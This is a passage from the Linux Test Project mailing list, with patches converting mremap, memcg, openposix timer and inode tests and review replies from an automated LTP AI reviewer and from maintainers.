-	t->ret = mremap(t->old_address, t->old_size, t->new_size, t->flags,
-			t->new_address);
+	p = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE,
+		      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
-	if (t->ret == t->exp_ret) {
-		if (t->ret != MAP_FAILED) {
-			tst_resm(TPASS, "%s", t->msg);
-			if (*(t->ret) == 0x1)
-				tst_resm(TPASS, "%s value OK", t->msg);
-			else
-				tst_resm(TPASS, "%s value failed", t->msg);
-		} else {
-			if (errno == t->exp_errno)
-				tst_resm(TPASS, "%s", t->msg);
-			else
-				tst_resm(TFAIL | TERRNO, "%s", t->msg);
-		}
-	} else {
-		tst_resm(TFAIL, "%s ret: %p, expected: %p", t->msg,
-			 t->ret, t->exp_ret);
-	}
-}
-
-static void setup0(struct test_case_t *t)
-{
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = get_test_area(t->new_size * pagesize, 1);
-}
-
-static void setup1(struct test_case_t *t)
-{
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = get_test_area((t->new_size + 1) * pagesize, 1) + 1;
-}
+	if (free_area)
+		SAFE_MUNMAP(p, size);
 
-static void setup2(struct test_case_t *t)
-{
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = t->old_address;
+	return p;
 }
 
-static void setup3(struct test_case_t *t)
+static void setup(void)
 {
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = get_test_area(t->new_size * pagesize, 1);
-	t->exp_ret = t->new_address;
-	*(t->old_address) = 0x1;
+	pagesize = getpagesize();
 }
 
-static void setup4(struct test_case_t *t)
+static void run(unsigned int n)
 {
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = get_test_area(t->new_size * pagesize, 0);
-	t->exp_ret = t->new_address;
-	*(t->old_address) = 0x1;
-	*(t->new_address) = 0x2;
-}
+	struct tcase *tc = &tcases[n];
+	char *old_address;
+	char *new_address;
+	size_t old_size = tc->old_pages * pagesize;
+	size_t new_size = tc->new_pages * pagesize;
 
-static void cleanup0(struct test_case_t *t)
-{
-	if (t->ret == MAP_FAILED)
-		free_test_area(t->old_address, t->old_size * pagesize);
-	else
-		free_test_area(t->ret, t->new_size * pagesize);
-}
+	old_address = get_test_area(old_size, 0);
 
-static void cleanup1(struct test_case_t *t)
-{
-	if (t->ret == MAP_FAILED) {
-		free_test_area(t->old_address, t->old_size * pagesize);
-		free_test_area(t->new_address, t->new_size * pagesize);
+	if (tc->overlap) {
+		new_address = old_address;
+	} else if (tc->align_offset) {
+		new_address = get_test_area(new_size + pagesize, 1) +
+			tc->align_offset;
 	} else {
-		free_test_area(t->ret, t->new_size * pagesize);
+		new_address = get_test_area(new_size, tc->free_dst);
 	}
-}
-
-int main(int ac, char **av)
-{
-	int lc, testno;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; testno++) {
-			tdat[testno].setup(&tdat[testno]);
-			test_mremap(&tdat[testno]);
-			tdat[testno].cleanup(&tdat[testno]);
-		}
-	}
-	cleanup();
-	tst_exit();
-}
+	TST_EXP_FAIL_PTR_VOID(mremap(old_address, old_size, new_size,
+				     tc->flags, new_address),
+			      tc->exp_errno, "%s", tc->msg);
 
-static void setup(void)
-{
-	pagesize = getpagesize();
+	if (TST_RET_PTR == MAP_FAILED)
+		SAFE_MUNMAP(old_address, old_size);
+	else
+		SAFE_MUNMAP(TST_RET_PTR, new_size);
 }
 
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 14:17:16 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 14:17:16 +0200
Subject: [LTP] [PATCH v3 7/7] mremap09: Add test for expanding over unmapped
 gap
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v3-7-dcca6d4ac0f1@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add a test case for mremap() without MREMAP_MAYMOVE where we map
three pages, unmap the middle one to create a hole, and then
attempt to expand the first page to cover all three. The mremap()
call must fail with ENOMEM since the third page is occupied.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/syscalls                            |  1 +
 testcases/kernel/syscalls/mremap/.gitignore |  1 +
 testcases/kernel/syscalls/mremap/mremap09.c | 59 +++++++++++++++++++++++++++++
 3 files changed, 61 insertions(+)

diff --git a/runtest/syscalls b/runtest/syscalls
index ede795a48..5166886c4 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -947,6 +947,7 @@ mremap05 mremap05
 mremap06 mremap06
 mremap07 mremap07
 mremap08 mremap08
+mremap09 mremap09
 
 mseal01 mseal01
 mseal02 mseal02
diff --git a/testcases/kernel/syscalls/mremap/.gitignore b/testcases/kernel/syscalls/mremap/.gitignore
index dd4bf4e8e..a7ae3b643 100644
--- a/testcases/kernel/syscalls/mremap/.gitignore
+++ b/testcases/kernel/syscalls/mremap/.gitignore
@@ -6,3 +6,4 @@
 /mremap06
 /mremap07
 /mremap08
+/mremap09
diff --git a/testcases/kernel/syscalls/mremap/mremap09.c b/testcases/kernel/syscalls/mremap/mremap09.c
new file mode 100644
index 000000000..28ab9e310
--- /dev/null
+++ b/testcases/kernel/syscalls/mremap/mremap09.c
@@ -0,0 +1,59 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Verify that :manpage:`mremap(2)` fails with errno ``ENOMEM`` when it is used
+ * to expand an existing mapping in place, if the region cannot be expanded at
+ * the current virtual address and the ``MREMAP_MAYMOVE`` flag is not set.
+ *
+ * [Algorithm]
+ *
+ * - map an anonymous region of three pages
+ * - unmap the middle page to create a gap
+ * - call mremap() on the first page to grow it to three pages with ``flags``
+ *   set to 0
+ * - expect the call to fail with ``MAP_FAILED`` and ``ENOMEM`` since the
+ *   third page is occupied.
+ */
+
+#define _GNU_SOURCE
+#include <sys/mman.h>
+#include "tst_test.h"
+
+static size_t pagesize;
+static void *addr = MAP_FAILED;
+
+static void setup(void)
+{
+	pagesize = getpagesize();
+}
+
+static void run(void)
+{
+	size_t map_size = 3 * pagesize;
+	size_t old_size = 1 * pagesize;
+	size_t new_size = 3 * pagesize;
+
+	addr = SAFE_MMAP(NULL, map_size, PROT_READ | PROT_WRITE,
+			 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+
+	/* unmap the middle page to create a gap */
+	SAFE_MUNMAP((char *)addr + pagesize, pagesize);
+
+	TST_EXP_FAIL_PTR_VOID(mremap(addr, old_size, new_size, 0), ENOMEM);
+
+	if (TST_RET_PTR != MAP_FAILED) {
+		SAFE_MUNMAP(TST_RET_PTR, new_size);
+		return;
+	}
+
+	SAFE_MUNMAP(addr, pagesize);
+	SAFE_MUNMAP((char *)addr + 2 * pagesize, pagesize);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+};

-- 
2.51.0


From andrea.cervesato@suse.com  Fri Aug  7 14:24:44 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Fri, 07 Aug 2026 12:24:44 +0000
Subject: [LTP] [PATCH 4/5] mremap04: Convert to new API
In-Reply-To: <anWQedSd9MwlSymD@yuki.lan>
Message-ID: <6a75ce8d.deaaa24b.14dcda.45d3@mx.google.com>

I sent a new version of the patch-set where there's a nw test
covering the memory remap with release gap. Try to take a look
if it's ok.

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From disgoel@linux.ibm.com  Fri Aug  7 15:05:21 2026
From: disgoel@linux.ibm.com (Disha Goel)
Date: Fri,  7 Aug 2026 18:35:21 +0530
Subject: [LTP] [PATCH 1/2] memcg/memcontrol02: fix fd leak in cleanup path
Message-ID: <20260807130523.49068-1-disgoel@linux.ibm.com>

fd is initialized to 0 (a valid file descriptor) so the cleanup()
guard 'if (fd > -1)' would never trigger. Initialize to -1 and
add SAFE_CLOSE to prevent the descriptor leaking when a SAFE_*
macro calls tst_brk() during the pagecache allocation test.

Signed-off-by: Disha Goel <disgoel@linux.ibm.com>
---
 testcases/kernel/controllers/memcg/memcontrol02.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/testcases/kernel/controllers/memcg/memcontrol02.c b/testcases/kernel/controllers/memcg/memcontrol02.c
index 0b79403c9..75a1e6d51 100644
--- a/testcases/kernel/controllers/memcg/memcontrol02.c
+++ b/testcases/kernel/controllers/memcg/memcontrol02.c
@@ -29,7 +29,7 @@
 
 static size_t page_size;
 static struct tst_cg_group *cg_child;
-static int fd;
+static int fd = -1;
 static int file_to_all_error = 10;
 
 static void alloc_anon_50M_check(void)
@@ -128,6 +128,8 @@ static void cleanup(void)
 {
 	if (cg_child)
 		cg_child = tst_cg_group_rm(cg_child);
+	if (fd > -1)
+		SAFE_CLOSE(fd);
 }
 
 static struct tst_test test = {
-- 
2.45.1


From disgoel@linux.ibm.com  Fri Aug  7 15:05:22 2026
From: disgoel@linux.ibm.com (Disha Goel)
Date: Fri,  7 Aug 2026 18:35:22 +0530
Subject: [LTP] [PATCH 2/2] memcg/memcontrol03-04: fix typos,
 redundant define and format specifiers
In-Reply-To: <20260807130523.49068-1-disgoel@linux.ibm.com>
References: <20260807130523.49068-1-disgoel@linux.ibm.com>
Message-ID: <20260807130523.49068-2-disgoel@linux.ibm.com>

Fix typos in doc comments ('tempfs' -> 'tmpfs', 'becaue' -> 'because',
'dont not' -> 'do not'), remove '#define TMPDIR "mntdir"' which
duplicates the definition already in memcontrol_common.h, replace
PRIdPTR with %zu for size_t arguments (PRIdPTR is for signed intptr_t),
and fix continuation line indentation in tst_res() calls.

Signed-off-by: Disha Goel <disgoel@linux.ibm.com>
---
 testcases/kernel/controllers/memcg/memcontrol03.c | 12 +++++-------
 testcases/kernel/controllers/memcg/memcontrol04.c | 10 ++++------
 2 files changed, 9 insertions(+), 13 deletions(-)

diff --git a/testcases/kernel/controllers/memcg/memcontrol03.c b/testcases/kernel/controllers/memcg/memcontrol03.c
index 493e970ab..42298e5f0 100644
--- a/testcases/kernel/controllers/memcg/memcontrol03.c
+++ b/testcases/kernel/controllers/memcg/memcontrol03.c
@@ -27,8 +27,8 @@
  * pagecache even in this case."
  *
  * memory.min doesn't appear to exist on V1 so we only test on V2 like
- * the selftest. We do test on more file systems, but not tempfs
- * becaue it can't evict the page cache without swap. Also we avoid
+ * the selftest. We do test on more file systems, but not tmpfs
+ * because it can't evict the page cache without swap. Also we avoid
  * filesystems which allocate extra memory for buffer heads.
  *
  * The tolerances have been increased from the self tests.
@@ -40,8 +40,6 @@
 
 #include "memcontrol_common.h"
 
-#define TMPDIR "mntdir"
-
 static struct tst_cg_group *trunk_cg[3];
 static struct tst_cg_group *leaf_cg[4];
 static int fd = -1;
@@ -105,8 +103,8 @@ static void alloc_anon_in_child(const struct tst_cg_group *const cg,
 		SAFE_CG_SCANF(cg, "memory.current", "%zu", &cgmem);
 		size = size > cgmem ? size - cgmem : 0;
 
-		tst_res(TINFO, "Child %d in %s: Allocating anon: %"PRIdPTR,
-		getpid(), tst_cg_group_name(cg), size);
+		tst_res(TINFO, "Child %d in %s: Allocating anon: %zu",
+			getpid(), tst_cg_group_name(cg), size);
 
 		if (size)
 			alloc_anon(size);
@@ -148,7 +146,7 @@ static void alloc_pagecache_in_child(const struct tst_cg_group *const cg,
 	SAFE_CG_SCANF(cg, "memory.current", "%zu", &cgmem);
 	size = size > cgmem ? size - cgmem : 0;
 
-	tst_res(TINFO, "Child %d in %s: Allocating pagecache: %"PRIdPTR,
+	tst_res(TINFO, "Child %d in %s: Allocating pagecache: %zu",
 		getpid(), tst_cg_group_name(cg), size);
 
 	if (size)
diff --git a/testcases/kernel/controllers/memcg/memcontrol04.c b/testcases/kernel/controllers/memcg/memcontrol04.c
index 15d8f891c..d448478d6 100644
--- a/testcases/kernel/controllers/memcg/memcontrol04.c
+++ b/testcases/kernel/controllers/memcg/memcontrol04.c
@@ -28,7 +28,7 @@
  * The closest thing to memory.low on V1 is soft_limit_in_bytes which
  * uses a different mechanism and has different semantics. So we only
  * test on V2 like the selftest. We do test on more file systems, but
- * not tempfs becaue it can't evict the page cache without swap. Also
+ * not tmpfs because it can't evict the page cache without swap. Also
  * we avoid filesystems which allocate extra memory for buffer heads.
  *
  * The tolerances have been increased from the self tests.
@@ -40,8 +40,6 @@
 
 #include "memcontrol_common.h"
 
-#define TMPDIR "mntdir"
-
 static struct tst_cg_group *trunk_cg[3];
 static struct tst_cg_group *leaf_cg[4];
 static int fd = -1;
@@ -102,7 +100,7 @@ static void alloc_anon_in_child(const struct tst_cg_group *const cg,
 
 	SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid());
 
-	tst_res(TINFO, "Child %d in %s: Allocating anon: %"PRIdPTR,
+	tst_res(TINFO, "Child %d in %s: Allocating anon: %zu",
 		getpid(), tst_cg_group_name(cg), size);
 	alloc_anon(size);
 
@@ -122,7 +120,7 @@ static void alloc_pagecache_in_child(const struct tst_cg_group *const cg,
 
 	SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", getpid());
 
-	tst_res(TINFO, "Child %d in %s: Allocating pagecache: %"PRIdPTR,
+	tst_res(TINFO, "Child %d in %s: Allocating pagecache: %zu",
 		getpid(), tst_cg_group_name(cg), size);
 	alloc_pagecache(fd, size);
 
@@ -227,7 +225,7 @@ static void test_memcg_low(void)
 			TST_EXP_EXPR(low == 0,
 				"(%c low events=%ld) == 0", id, low);
 		} else if (!tst_cg_memory_recursiveprot(leaf_cg[F])) {
-			/* dont not check F when recursive_protection enabled */
+			/* do not check F when recursive_protection enabled */
 			TST_EXP_EXPR(low == 0,
 				"(%c low events=%ld) == 0", id, low);
 		}
-- 
2.45.1


From linuxtestproject.agent@gmail.com  Fri Aug  7 15:05:58 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 13:05:58 +0000
Subject: [LTP] mremap01: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v3-1-dcca6d4ac0f1@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v3-1-dcca6d4ac0f1@suse.com>
Message-ID: <20260807130558.8420-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Fri, 7 Aug 2026, Andrea Cervesato wrote:
> mremap01: Convert to new API

--- [PATCH 1/7] ---

> static int verify_file(void)
> {
> [...]
> 			tst_res(TFAIL, "file[%zu] == 0x%02x, expected 0x%02x",
> 				off, (unsigned char)got, (unsigned char)off);
> 			return 1;
> [...]
> 	if (verify_file())
> 		tst_res(TFAIL, "mremap()'d region did not sync to the file");

Could verify_file() report the final result directly instead of returning
pass/fail status to run()? A mismatch currently produces both the precise
byte failure and a second generic TFAIL for the same check.

--- [PATCH 3/7] ---

>  * - Obtain an unmapped address via ``tst_get_bad_addr()``.
> [...]
> 	bad_addr = tst_get_bad_addr(NULL);

Could this use an address that is actually unmapped, or describe the
partial-VMA case that is really tested? tst_get_bad_addr() creates and
retains a one-page PROT_NONE mapping, so old_address itself is mapped.

On Linux 7.2 this returns EFAULT because memsize extends beyond that
one-page VMA, not because old_address points to an unmapped region. The
description, algorithm, and commit message therefore claim different
coverage from the executed path.

--- [PATCH 4/7] ---

> Rewrite the test to use TST_EXP_FAIL_PTR_VOID() to verify that
> mremap() fails with MAP_FAILED and ENOMEM when growing an existing
> SysV shared memory mapping in place
> [...]
> Switch the Makefile from libltpipc to libltpnewipc

Could the commit message be updated to match the patch? The code replaces
SysV shared memory with a private anonymous mapping and removes the IPC
library dependency; it does not use libltpnewipc or GETIPCKEY().

--- [PATCH 5/7] ---

> Convert the mremap05 test case from the legacy LTP API to the new
> tst_test API.

Could the body explain why this semantic rewrite is needed and mention
that the positive MREMAP_FIXED cases are split into the later dedicated
test? It currently only restates the subject and does not give the
motivation or explain the series dependency.

--- [PATCH 6/7] ---

> static int check_pattern(char *addr, size_t pages)
> {
> [...]
> 		if (got != exp)
> 			return 1;
> [...]
> 	else if (check_pattern(ret, tc->new_pages))
> 		tst_res(TFAIL, "%s: pattern mismatch", tc->msg);

Could check_pattern() report the result where the mismatch is detected
instead of propagating pass/fail through its return value? Reporting the
offset and observed value there would also make the failure actionable
rather than producing only "pattern mismatch".

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Fri Aug  7 16:18:49 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 14:18:49 +0000
Subject: [LTP] memcg/memcontrol02: fix fd leak in cleanup path
In-Reply-To: <20260807130523.49068-1-disgoel@linux.ibm.com>
References: <20260807130523.49068-1-disgoel@linux.ibm.com>
Message-ID: <20260807141849.4616-1-linuxtestproject.agent@gmail.com>

Hi Disha,

On Fri, Aug 7, 2026, Disha Goel wrote:
> memcg/memcontrol02: fix fd leak in cleanup path

--- [PATCH 1/2] ---

> fd is initialized to 0 (a valid file descriptor) so the cleanup()
> guard 'if (fd > -1)' would never trigger.

Could this explanation be corrected? Zero is greater than -1, and the
cleanup guard is added by this patch rather than being an existing guard.
The relevant problem is that -1 is needed to distinguish an unopened
descriptor before cleanup tries to close it.

> +	if (fd > -1)
> +		SAFE_CLOSE(fd);

Could this use `fd != -1` instead? LTP file descriptors use -1 as the
invalid sentinel, and the LTP convention requires this form for cleanup
guards.

--- [PATCH 2/2] ---

> #include <inttypes.h>
>
> -		tst_res(TINFO, "Child %d in %s: Allocating anon: %"PRIdPTR,
> +		tst_res(TINFO, "Child %d in %s: Allocating anon: %zu",

Could the now-unused `<inttypes.h>` include be removed from both
memcontrol03.c and memcontrol04.c? This patch replaces every `PRIdPTR`
use in both files.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From zohar@linux.ibm.com  Fri Aug  7 20:49:09 2026
From: zohar@linux.ibm.com (Mimi Zohar)
Date: Fri, 07 Aug 2026 14:49:09 -0400
Subject: [LTP] ima_setup.sh: Fix check_policy_writable() for kernel < 4.5
In-Reply-To: <20260803131942.GB246496@pevik>
References: <20260728114224.1055009-1-pvorel@suse.cz>
 <20260728125815.4069-1-linuxtestproject.agent@gmail.com>
 <20260728133556.GA1128467@pevik>
 <7279643f66b2ea6d6888716f7923363c2f59b6eb.camel@linux.ibm.com>
 <20260803131942.GB246496@pevik>
Message-ID: <1ffedf290548a2fbfb1670ad53ec5d57e0f27178.camel@linux.ibm.com>

Hi Petr, 

On Mon, 2026-08-03 at 15:19 +0200, Petr Vorel wrote:

[...] 

> Do you agree that test2 in ima_policy.sh should be skipped on kernel < 4.5? If
> you consider useful running the test also on these old kernels I could just
> correct the commit message for older kernel or simply ignore that fact (just add
> a comment to the test that it's irrelevant for < 4.5. (I know 4.4 is not
> supported any more, in fact it's just for SLES and possibly other LTS distros
> still supporting this old kernel, but I still appreciate your opinion.

Test 2 says, ""verify that policy file is not opened concurrently and able to
loaded multiple times". Prior to 4.5, a policy cannot be loaded multiple times.
I agree ima_policy.sh: test2 should be skipped on kernels prior to 4.5.

> 
> 
> > > > Should test2 report TCONF (or split the two assertions) when
> > > > CONFIG_IMA_WRITE_POLICY is not available?
> 
> FYI we could sooner or later start using kernel config (e.g. look into
> CONFIG_IMA_WRITE_POLICY and CONFIG_IMA_READ_POLICY as many LTP tests and now
> even LTP library require kernel config (we resisted long time add kernel config
> as a hard dependency, but finally Cyril added support in 2018).

Nice!

> 
> But more important for me would be to migrate LTP IMA tests to shell loader [1]
> or even rewrite to C API. We have deprecated tst_test.sh API some time ago.

Oh!  Sure, sounds good.

thanks,

Mimi


From avinesh.kumar@suse.com  Fri Aug  7 22:12:08 2026
From: avinesh.kumar@suse.com (Avinesh Kumar)
Date: Fri,  7 Aug 2026 22:12:08 +0200
Subject: [LTP] [PATCH] openposix: timer_*/speculative: Handle SIGSEGV on
 invalid timer ID
Message-ID: <20260807201209.116225-1-avinesh.kumar@suse.com>

From: Avinesh Kumar <avinesh.kumar@suse.com>

timer_delete/speculative/5-1, timer_getoverrun/speculative/6-1,
timer_gettime/speculative/6-1 and timer_settime/speculative/12-1
all pass a bogus value as an invalid timer_t timerid.
On i586, glibc dereferences timer_t as a pointer into
internal state, and the bogus pointer causes a SIGSEGV
instead of the tests' expected EINVAL:

  timer_delete_sp[22499]: segfault at 7f4982f0 ip b7e07824 sp bfa4c140 error 4 in libc.so.6[a4824,b7d87000+191000]

POSIX defines no required behavior for an invalid timer ID (EINVAL is
only a recommendation), so a SIGSEGV is just as valid an outcome.

Signed-off-by: Avinesh Kumar <avinesh.kumar@suse.com>
---
 .../interfaces/timer_delete/speculative/5-1.c | 19 ++++++++++++++++++
 .../timer_getoverrun/speculative/6-1.c        | 19 ++++++++++++++++++
 .../timer_gettime/speculative/6-1.c           | 20 +++++++++++++++++++
 .../timer_settime/speculative/12-1.c          | 20 +++++++++++++++++++
 4 files changed, 78 insertions(+)

diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c
index 912cf5800e6f..fb46c3e7dabb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c
@@ -12,17 +12,36 @@
 
 #include <time.h>
 #include <stdio.h>
+#include <stdlib.h>
 #include <errno.h>
+#include <signal.h>
 #include "posixtest.h"
 
 #define BOGUSTIMERID 99999
 
+/*
+ * when timerid argument does not correspond to a timer ID returned by
+ * timer_create(), POSIX recommends EINVAL, but SIGSEGV is also
+ * valid outcome.
+ */
+static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED)
+{
+	printf("Got SIGSEGV when calling timer_delete() with an invalid timer ID\n");
+	printf("Test PASSED\n");
+	exit(PTS_PASS);
+}
+
 int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED)
 {
 	timer_t tid;
 	int tval = BOGUSTIMERID;
+	struct sigaction sa = { .sa_handler = sigsegv_handler };
+
 	tid = (timer_t) & tval;
 
+	sigfillset(&sa.sa_mask);
+	sigaction(SIGSEGV, &sa, NULL);
+
 	if (timer_delete(tid) == -1) {
 		if (errno == EINVAL) {
 			printf
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c
index 6e18560e5084..429b08379e9c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c
@@ -12,17 +12,36 @@
 
 #include <time.h>
 #include <stdio.h>
+#include <stdlib.h>
 #include <errno.h>
+#include <signal.h>
 #include "posixtest.h"
 
 #define BOGUSTID 9999
 
+/*
+ * when timerid argument does not correspond to a timer ID returned by
+ * timer_create(), POSIX recommends EINVAL, but SIGSEGV is also
+ * valid outcome.
+ */
+static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED)
+{
+	printf("Got SIGSEGV when calling timer_getoverrun() with an invalid timer ID\n");
+	printf("Test PASSED\n");
+	exit(PTS_PASS);
+}
+
 int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED)
 {
 	timer_t tid;
 	int tval = BOGUSTID;
+	struct sigaction sa = { .sa_handler = sigsegv_handler };
+
 	tid = (timer_t) & tval;
 
+	sigfillset(&sa.sa_mask);
+	sigaction(SIGSEGV, &sa, NULL);
+
 	if (timer_getoverrun(tid) == -1) {
 		if (EINVAL == errno) {
 			printf("fcn returned -1 and errno=EINVAL\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c
index d09c2f70901d..c124497153a9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/speculative/6-1.c
@@ -12,17 +12,37 @@
 
 #include <time.h>
 #include <stdio.h>
+#include <stdlib.h>
 #include <errno.h>
+#include <signal.h>
 #include "posixtest.h"
 
 #define BOGUSTID 9999
 
+/*
+ * when timerid argument does not correspond to a timer ID returned by
+ * timer_create(), POSIX recommends EINVAL, but SIGSEGV is also
+ * valid outcome.
+ */
+static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED)
+{
+	printf("Got SIGSEGV when calling timer_gettime() with an invalid timer ID\n");
+	printf("Test PASSED\n");
+	exit(PTS_PASS);
+}
+
 int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED)
 {
 	timer_t tid;
 	struct itimerspec its;
 	int tval = BOGUSTID;
+	struct sigaction sa = { .sa_handler = sigsegv_handler };
+
 	tid = (timer_t) & tval;
+
+	sigfillset(&sa.sa_mask);
+	sigaction(SIGSEGV, &sa, NULL);
+
 	if (timer_gettime(tid, &its) == -1) {
 		if (EINVAL == errno) {
 			printf("fcn returned -1 and errno==EINVAL\n");
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c
index 5d4e1dda30ba..056f75448ea8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/timer_settime/speculative/12-1.c
@@ -11,17 +11,37 @@
 
 #include <time.h>
 #include <stdio.h>
+#include <stdlib.h>
 #include <errno.h>
+#include <signal.h>
 #include "posixtest.h"
 
 #define BOGUSTID 9999
 
+/*
+ * when timerid argument does not correspond to a timer ID returned by
+ * timer_create(), POSIX recommends EINVAL, but SIGSEGV is also
+ * valid outcome.
+ */
+static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED)
+{
+	printf("Got SIGSEGV when calling timer_settime() with an invalid timer ID\n");
+	printf("Test PASSED\n");
+	exit(PTS_PASS);
+}
+
 int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED)
 {
 	timer_t tid;
 	struct itimerspec its;
 	int tval = BOGUSTID;
+	struct sigaction sa = { .sa_handler = sigsegv_handler };
+
 	tid = (timer_t) & tval;
+
+	sigfillset(&sa.sa_mask);
+	sigaction(SIGSEGV, &sa, NULL);
+
 	its.it_interval.tv_sec = 0;
 	its.it_interval.tv_nsec = 0;
 	its.it_value.tv_sec = 0;
-- 
2.55.0


From linuxtestproject.agent@gmail.com  Fri Aug  7 22:42:52 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 20:42:52 +0000
Subject: [LTP] openposix: timer_*/speculative: Handle SIGSEGV on invalid
 timer ID
In-Reply-To: <20260807201209.116225-1-avinesh.kumar@suse.com>
References: <20260807201209.116225-1-avinesh.kumar@suse.com>
Message-ID: <20260807204252.34887-1-linuxtestproject.agent@gmail.com>

Hi Avinesh,

On Aug 7, 2026, Avinesh Kumar wrote:
> openposix: timer_*/speculative: Handle SIGSEGV on invalid timer ID

> +static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED)
> +{
> +	printf("Got SIGSEGV when calling timer_delete() with an invalid timer ID\n");
> +	printf("Test PASSED\n");
> +	exit(PTS_PASS);
> +}

Could all four new handlers use PTS_WRITE_MSG() and _exit() instead?
printf() and exit() are not async-signal-safe. Since SIGSEGV is raised while
libc is processing the invalid timer ID, calling them invokes undefined
behavior and may hang instead of reliably reporting a pass.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From wakel@google.com  Sat Aug  8 01:17:52 2026
From: wakel@google.com (Wake Liu)
Date: Fri,  7 Aug 2026 23:17:52 +0000
Subject: [LTP] [PATCH v2] inode01: Use uint64_t to prevent inode truncation
 on 32-bit
In-Reply-To: <20260807105634.2837348-1-wakel@google.com>
References: <20260807105634.2837348-1-wakel@google.com>
Message-ID: <20260807231752.3218267-1-wakel@google.com>

On 32-bit architectures, ino_t is typically 32-bit, whereas the kernel
and struct stat may support 64-bit inode numbers (e.g. st_ino is
unsigned long long).

The conversion of inode01 to the new API introduced tracking of inodes
in an array of struct inode_info, which used ino_t. This causes 64-bit
inode numbers to be truncated to 32-bit when running as a 32-bit binary
on a filesystem that uses 64-bit inodes.

This truncation can lead to false duplicate inode reports and test
failures.

Fix this by using uint64_t for tracking inode numbers throughout the
test.

Signed-off-by: Wake Liu <wakel@google.com>
---
v1 -> v2:
 - Also change record_inode() parameter type to uint64_t to prevent truncation before assignment.

 testcases/kernel/fs/inode/inode01.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

